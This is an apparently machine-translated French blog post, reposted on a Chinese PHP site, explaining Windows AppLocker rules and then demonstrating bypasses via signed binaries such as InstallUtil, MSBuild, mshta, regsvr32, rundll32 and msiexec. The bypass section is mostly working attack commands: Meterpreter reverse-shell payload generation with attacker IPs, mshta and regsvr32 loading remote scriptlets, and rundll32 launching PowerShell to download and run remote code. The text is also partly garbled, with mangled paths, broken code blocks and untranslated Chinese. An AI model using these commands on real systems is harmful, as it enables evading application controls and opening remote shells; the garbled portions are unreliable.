Maison  >  Article  >  Opération et maintenance  >  Comment effectuer une analyse de contournement d'AppLocker

Comment effectuer une analyse de contournement d'AppLocker

WBOY
WBOYavant
2023-05-15 10:55:191036parcourir

Avant-propos

Qu'est-ce qu'applocker<br>

AppLocker, la « politique de contrôle des applications », est une fonctionnalité de sécurité récemment ajoutée au système Windows 7. Cette fonctionnalité est intégrée par défaut dans les systèmes supérieurs à Win7. Nous pouvons activer l'identité d'application dans les services, puis trouver l'option Applocker dans les politiques de contrôle des applications dans la politique de sécurité locale.

Règles AppLocker<br>

Les règles Applocker par défaut prennent en charge les éléments suivants :

Règles** | Formats de fichiers associés ---|--- Fichiers exécutables .exe, .com scripts | .vbs, .js Fichiers Windows Installer | .msi, .msp, .mst applications packagées et programmes d'installation d'applications packagées | Fichiers DLL .dll, .ocx

.appx Tous les applockers n'existeront pas, cela doit être déterminé en fonction la version Windows. Sur win10, après avoir créé la règle applocker, le fichier .applocker correspondant sera produit dans C:WindowsSystem32AppLocker.

Conditions des règles applocker <br>

Les conditions des règles sont des critères utilisés pour aider AppLocker à identifier les applications auxquelles les règles doivent être appliquées. Les trois principales conditions de règle sont l'éditeur, le chemin et le hachage du fichier.

  • Publisher : identifie l'application en fonction de sa signature numérique <br>

  • Path : l'identifie par l'emplacement de l'application dans le système de fichiers de l'ordinateur ou sur le réseau <br>

  • File Hash : représente le système de fichiers identifié- hachage cryptographique calculé <br>

Comment effectuer une analyse de contournement dAppLocker

Règle par défaut d'AppLocker <br>

Après avoir créé une règle applocker, le système vous demandera par défaut s'il faut ajouter une règle par défaut, comme indiqué dans la figure ci-dessous :

Comment effectuer une analyse de contournement dAppLocker

Les règles par défaut correspondant à chaque règle sont les suivantes :

Les types de règles exécutables par défaut incluent :

  • Autoriser les membres du groupe Administrateurs locaux à exécuter toutes les applications. <br>

  • Autoriser les membres du groupe Tout le monde à exécuter des applications dans le dossier Windows. <br>

  • Autoriser les membres du groupe Tout le monde à exécuter des applications dans le dossier Program Files. <br>

Les types de règles de script par défaut incluent :

  • Autoriser les membres du groupe Administrateurs local à exécuter tous les scripts. <br>

  • Autoriser les membres du groupe Tout le monde à exécuter des scripts dans le dossier Program Files. <br>

  • Autoriser les membres du groupe Tout le monde à exécuter des scripts dans le dossier Windows. <br>

Les types de règles par défaut de Windows Installer incluent :

  • Autoriser les membres du groupe Administrateurs local à exécuter tous les fichiers Windows Installer. <br>

  • Autoriser les membres du groupe Tout le monde à exécuter tous les fichiers Windows Installer signés numériquement. <br>

  • Autoriser les membres du groupe Tout le monde à exécuter tous les fichiers Windows Installer dans le dossier WindowsInstaller. <br>

DLL Type de règle par défaut :

  • Autoriser les membres du groupe Administrateurs locaux à exécuter toutes les DLL. <br>

  • Autoriser les membres du groupe Tout le monde à exécuter des DLL dans le dossier Program Files. <br>

  • Autoriser les membres du groupe Tout le monde à exécuter des DLL dans le dossier Windows. <br>

Type de règle par défaut des applications enveloppées :

  • Autoriser les membres du groupe Tout le monde à installer et exécuter toutes les applications enveloppées signées et les installateurs d'applications enveloppées <br>

Comportement des règles AppLocker <br>

Les règles peuvent être configurées comme Utilisation l'action autoriser ou refuser :

  • Autoriser. Vous pouvez spécifier quels fichiers sont autorisés à s'exécuter dans votre environnement et pour quels utilisateurs ou groupes d'utilisateurs. Vous pouvez également configurer des exceptions pour identifier les fichiers exclus des règles. <br>

  • Rejeté. Vous pouvez spécifier les fichiers dont l'exécution n'est pas autorisée dans votre environnement ainsi que les utilisateurs ou groupes auxquels ils sont destinés. Vous pouvez également configurer des exceptions pour identifier les fichiers exclus des règles. <br>

Comment effectuer une analyse de contournement dAppLocker

Création d'une règle Applocker<br>

Cela dit, créons une règle en prenant comme exemple l'interdiction d'exécuter des fichiers exe sur le bureau. La création est à peu près la suivante :

Comment effectuer une analyse de contournement dAppLocker

Lancer le test exe :

Comment effectuer une analyse de contournement dAppLocker

Le système nous empêchera de fonctionner

bypass Applocker<br>

Installutil.exe<br>

InstallUtil fait partie de .NET Framework et est un programme de ligne de commande qui permet aux utilisateurs d'installer et de désinstaller rapidement des applications via l'invite de commande. Étant donné que cet utilitaire est un binaire signé par Microsoft, il peut être utilisé pour contourner les restrictions AppLocker afin d'exécuter n'importe quel exécutable .NET. Cet utilitaire se trouve également dans le dossier Windows, qui n'applique pas les stratégies AppLocker puisque le contenu du dossier Windows doit être exécuté pour que le système fonctionne correctement.

Nous utilisons d'abord WhiteListEvasion (https://github.com/khr0x40sh/WhiteListEvasion) pour générer un modèle

<br>
<br>

python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

Comment effectuer une analyse de contournement dAppLocker

La commande ci-dessus générera un modèle C# qui contiendra le Metasploit ShellCode.

Placez le fichier généré dans la cible et exécutez-le en utilisant la méthode suivante :

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe

Bien sûr, vous peut aussi Vous pouvez d'abord utiliser msf pour générer une charge utile csharp, puis remplacer le shellcode dans le modèle, puis transférer le fichier cs vers la machine cible.

Puis compilez notre script avec csc :

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs

Comment effectuer une analyse de contournement dAppLocker

À ce moment-là, nous essayons d'exécuter notre fichier :

Comment effectuer une analyse de contournement dAppLocker

Intercepté par les règles, nous utilisons alors

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

Bypass

Comment effectuer une analyse de contournement dAppLocker

msf a été mis en ligne avec succès

Comment effectuer une analyse de contournement dAppLocker

Il existe également un module de contournement pour applocker utilisant InstallUtil.exe dans msf.

<br>
<br>

exploit/windows/local/applocker_bypass

Le principe est le même

Comment effectuer une analyse de contournement dAppLocker

Avec les chemins communs :

  • C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFramework64v2 .0.50727InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe<br>

Msbuild.exe<br>

MSBuild.exe( Microsoft Build Engine) est la plateforme de création de logiciels utilisée par Visual Studio. Il nécessite des fichiers de projet au format XML qui définissent les exigences de construction pour diverses plates-formes et configurations. (Citation : MSDN MSBuild)

Nous pouvons utiliser MSBuild pour proxy l'exécution de code via des utilitaires Windows de confiance. La fonctionnalité de tâches en ligne MSBuild introduite dans .NET version 4 permet d'insérer du code C# dans des fichiers de projet XML. Tâches en ligne MSBuild compilera et exécutera la tâche en ligne. MSBuild.exe est un binaire Microsoft signé, donc lorsqu'il est utilisé de cette manière, il peut exécuter du code arbitraire et contourner les protections de liste blanche des applications configurées pour permettre l'exécution de MSBuild.exe

Nous sommes directs ici. Utilisez GreatSCT pour générer un fichier XML.

<br>
<br>

./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

Comment effectuer une analyse de contournement dAppLocker

et générera un fichier rc pour nous, nous pouvons utiliser msfconsole -r Démarrez directement msf

puis utilisez msbuild pour exécuter,

Comment effectuer une analyse de contournement dAppLocker

msf en ligne :

Comment effectuer une analyse de contournement dAppLocker

Bien sûr, vous pouvez également utiliser msf pour générer un shellcode c# puis le charger à l'aide du modèle du master étudiant de Sanhao :

https:// github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml

Notez que le nom du suffixe est changé en .csproj

En plus de faire rebondir le shell, nous pouvons utilisez-le également pour contourner les limitations de PowerShell.

Comment effectuer une analyse de contournement dAppLocker

Le code est le suivant :

<br>
<br>

                         âche>    ");                        chaîne x = Console.ReadLine();                        essayer                        {                            Console.WriteLine(RunPSCommand(x));                        }                        attraper (exception e)                        {                            Console.WriteLine(e.Message);                        }                    }                                renvoie vrai ;                }               //Basé sur le travail de Jared Atkinson et Justin Warner                chaîne statique publique RunPSCommand (string cmd)                {                    // Trucs d'initialisation                    Runspace runspace = RunspaceFactory.CreateRunspace();                    runspace.Open();                    RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);                    Pipeline pipeline = runspace.CreatePipeline();                    //Ajouter des commandes                    pipeline.Commands.AddScript(cmd);                    //Préparer PS pour la sortie de chaîne et invoquer                    pipeline.Commands.Add("Out-String");                    Collection<psobject> résultats = pipeline.Invoke();                    runspace.Close();                    //Convertir les enregistrements en chaînes                    StringBuilder stringBuilder = new StringBuilder();                    foreach (PSObject obj dans les résultats)                    {                        stringBuilder.Append(obj);                    }                    return stringBuilder.ToString().Trim();                 }                 public static void RunPSFile (script de chaîne)                {                    PowerShell ps = PowerShell.Create();                    ps.AddScript(script).Invoke();                }            }        ]]>  </psobject>âche>  de la tâche>

原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml

Comment effectuer une analyse de contournement dAppLocker

成功绕过对powershell的限制。

常见路径如下:

  • C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe <br>

Mshta.exe<br>

mshta.exe fonctionne sous Windows avec l'application Microsoft HTML et les applications HTML.行.HTA文件。默认已集成在环境变量中。

使用Mshta的方式En savoir plus sur msfexploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > définir srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit

Comment effectuer une analyse de contournement dAppLocker目标机执行:

<br>
<br>

mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta

即可上线。

除了这种方法hta还可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。

除了本地文件,mshta还支持远程下载的方式执行payload,比如:

<br>
<br>

mshta.exe javascript:a=GetObject("script:https:/ /gist.github.com/someone/something.sct").Exec();close();

除了以上的方式,mshta可以用用来执行powershell:

<br>
rrree

ÊTE> ≪/CORPS>

Même si applocker a interdit l'exécution de PowerShell

Comment effectuer une analyse de contournement dAppLocker

InfDefaultInstall.exe<br>

InfDefaultInstall.exe est un outil utilisé pour l'installation d'inf. Il a la signature Microsoft et le chemin d'existence est :

    .
  • C:WindowsSystem32Infdefaultinstall.exe<br>

  • C:WindowsSysWOW64Infdefaultinstall.exe<br>

Nous pouvons également l'utiliser pour contourner certaines restrictions. L'utilisation est de suivre directement le fichier avec votre fichier inf.

its Le processus d'exécution est le suivant:

Comment effectuer une analyse de contournement dAppLocker

L'adresse POC donnée par l'auteur est la suivante:

https: //gist.github.com/kylehanslovan/5e0f00d331984c1fb5be32c40f3b265a

, utilisez shady.inf Appelez la porte dérobée sct distante.

Mais son appel nécessite des autorisations plus élevées. La capture d'écran que j'ai exécutée sous win10 :

Comment effectuer une analyse de contournement dAppLocker

Mavinject.exe<br>

Mavinject est un composant Windows fourni avec win10. Nous pouvons l'utiliser pour l'injection de dll et contourner certaines restrictions.

L'utilisation est la suivante :

<br>
<br>

mavinject32.exe

Les chemins courants sont les suivants :

  • C:Program FilesCommon Filesmicrosoft sharedClickToRunMavInject32.exe<br>

  • C:WindowsSystem32mavinject .exe<br>

  • C:WindowsSysWOW64mavinject.exe<br>

Mais lorsque je l'ai reproduit localement, il n'a pas été injecté avec succès, mais il n'y a eu aucune invite. Je ne connais pas la raison précise. La version est : 10.0. .15063.0 (WinBuild.160101.0800)

Il devrait être possible d'injecter avec succès. Vous trouverez ci-joint une photo du succès du patron de Twitter.

Comment effectuer une analyse de contournement dAppLocker

Si vous êtes intéressé, vous pouvez essayer quelques systèmes supplémentaires.

MSIEXEC<br>

MSIEXEC est une application de Microsoft qui peut être utilisée pour installer ou configurer des produits à partir de la ligne de commande. Ce n’est en fait pas très inconnu. J’ai déjà écrit des articles sur son utilisation pour élever les privilèges. Nous supposons que le fichier msi peut être exécuté et utilisé pour contourner les restrictions d'applocker sur PowerShell.

Utilisez d’abord msf pour générer un fichier msi.

<br>
<br>

msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi

Comment effectuer une analyse de contournement dAppLocker

Exécuté sous Windows :

Comment effectuer une analyse de contournement dAppLocker

Contourné avec succès.

msxsl.exe<br>

msxsl.exe est un convertisseur XML avec signature numérique Microsoft. L'adresse de téléchargement est la suivante :

https://www.microsoft.com/en-us/download/details.aspx?id=21714

Comment effectuer une analyse de contournement dAppLocker

Nous utilisons 3gstudent pour essayer de contourner la restriction de calcul d'applocker,

clients .xml:

<br>
<br>

John Smith 123 Elm St. Mary Jones 456 Oak Ave.(156) 789-0123éléphone>

script.xml :

<br>
<br>

成功绕过:

Comment effectuer une analyse de contournement dAppLocker

当然也可以执行我们的shellcode,具体参考:

https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Regsv***.exe<br>

regsv***是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。

文件位置:

  • C:\Windows\System32\regsv***.exe<br>

  • C:\Windows\SysWOW64\regsv***.exe<br>

下面为大家演示,绕过applocker上线。

Comment effectuer une analyse de contournement dAppLocker

Comment effectuer une analyse de contournement dAppLocker

scT文件内容如下:

<br>
<br>

各参数的含义:

  • 静默不显示任何消息// / s<br>

  • 不调用DLL注册服务器// / n<br>

  • 要使用另一个IP地址,因为它不会调用DLL注册服务器// / i<br>

  • 使用取消注册方法// / u<br>

除了本地执行,它还支持远程加载:

<br>
<br>

regsv*** /u /n /s /i:http://ip:port/payload.sct scrobj.dll

sct我们使用GreatSct生成即可。

Rundll32.exe<br>

Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法

先生成我们的payload:

Comment effectuer une analyse de contournement dAppLocker

目标机执行:    

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
document.write();
new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

<br>

上线:

Comment effectuer une analyse de contournement dAppLocker

除了远程之外,也可以本地上线:

rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll

<br>

也可以用来绕过对某些软件的限制,比如弹个cmd:

Comment effectuer une analyse de contournement dAppLocker

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer